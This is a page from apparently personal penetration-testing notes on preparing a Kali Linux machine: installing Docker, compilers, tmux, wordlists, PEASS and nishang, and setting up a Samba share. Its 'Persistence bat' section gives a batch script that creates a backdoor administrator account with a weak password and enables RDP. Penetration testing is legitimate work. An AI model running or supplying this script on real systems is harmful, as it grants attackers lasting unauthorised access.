🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Docker
  • Install docker
  • Install docker-compose
  • Compiler & Interpreter
  • GCC
  • Python2 & Python3
  • Important Program
  • Wine
  • tmux
  • PEASS (LinPEAS & WinPEAS)
  • Resource to Upload
  • Linux
  • Windows
  • Persistence bat
  • Web Preparation
  • Wordlist
  • Script
  • Tmux Preparation
  • Active Directory Preparation
  • Windows PowerShell
  • Setup SMB in Kali Linux
  1. Penetration Testing Notes

00 - Kali Linux Preparation

This is the guide to setup your Kali Linux for helping pen-test process

Docker

Install docker

sudo apt update
sudo apt install docker.io

Install docker-compose

sudo curl -SL https://github.com/docker/compose/releases/download/v2.29.6/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# check with
sudo docker-compose

Compiler & Interpreter

GCC

# gcc linux


# gcc windows for kali linux
sudo apt install gcc-mingw-w64

# if your kali machine 64-bit 
sudo apt install gcc-multilib g++-multilib
sudo apt-get install libc6-dev:i386 gcc:i386

sudo apt-get install g++-multilib libc6-dev-i386

Python2 & Python3

python2 --version

python --version
python3 --version

# install

sudo apt install python2

Pip2 & Pip3

If your Kali Linux have not pip2 just install with this documentation:

# download get-pip.py
https://bootstrap.pypa.io/pip/2.7/get-pip.py

# run get-pip
sudo python2 get-pip.py

Important Program

Wine

sudo apt install wine

tmux

sudo apt instal tmux

PEASS (LinPEAS & WinPEAS)

sudo apt install peass
# alternative

https://github.com/peass-ng/PEASS-ng/releases


wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASany.exe -o winPEASany.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/linpeas.sh -o linpeas.sh

Resource to Upload

Linux

LinEnum.sh

Windows

sudo apt install windows-binaries

# nc.exe and etc
windows-binaries

Persistence bat

save to hacker.bat


:: This program need Administrator permission
:: Add User to Administrator and enables RDP

@ECHO OFF

TITLE Add user
ECHO Adding user ...
net user hacker password /add
net localgroup Administrator hacker /add
net localgroup "Remote Desktop Users" hacker /add
ECHO Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO =======================
ECHO User Added
ECHO =======================
net users

Web Preparation

Wordlist

SecList Wordlist (1.51 GB)

sudo apt install seclists
cp -r /usr/share/seclists /usr/share/wordlists/SecLists

Script

# nishang payload
git clone https://github.com/samratashok/nishang.git

Tmux Preparation

save this file to ~/.tmux.conf to help while copy paste in the tmux pane.

setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-selection

run this command:

tmux source ~/.tmux.conf

note for tmux copy and paste:

ctrl + [ -> enter vi mode / copy mode

space -> enter the copy block mode

enter -> copy the selection

ctrl + ] -> paste

Active Directory Preparation

Windows PowerShell

git clone https://github.com/samratashok/nishang.git

Setup SMB in Kali Linux

install samba

sudo apt install samba

backup the configuration

sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old

create this configuration to this file /etc/samba/smb.conf

[visualstudio]
 path = /home/kali/Desktop/visualstudio
 browseable = yes
 read only = no

Set SMB password for kali:

sudo smbpasswd -a kali

start services

sudo systemctl start smbd && sudo systemctl start nmbd

add permission for the path:

chmod -R 777 /home/kali/Desktop/visualstudio

Windows Computer/Server to mount the kali linux smb shares:

net use X: \\192.168.x.y\ /user:kali

PreviousPenetration Testing NotesNextPage 1

Last updated 6 months ago

https://pip.pypa.io/en/latest/installation/
https://tmuxcheatsheet.com/
LinEnum/LinEnum.sh at master · rebootuser/LinEnumGitHub
Logo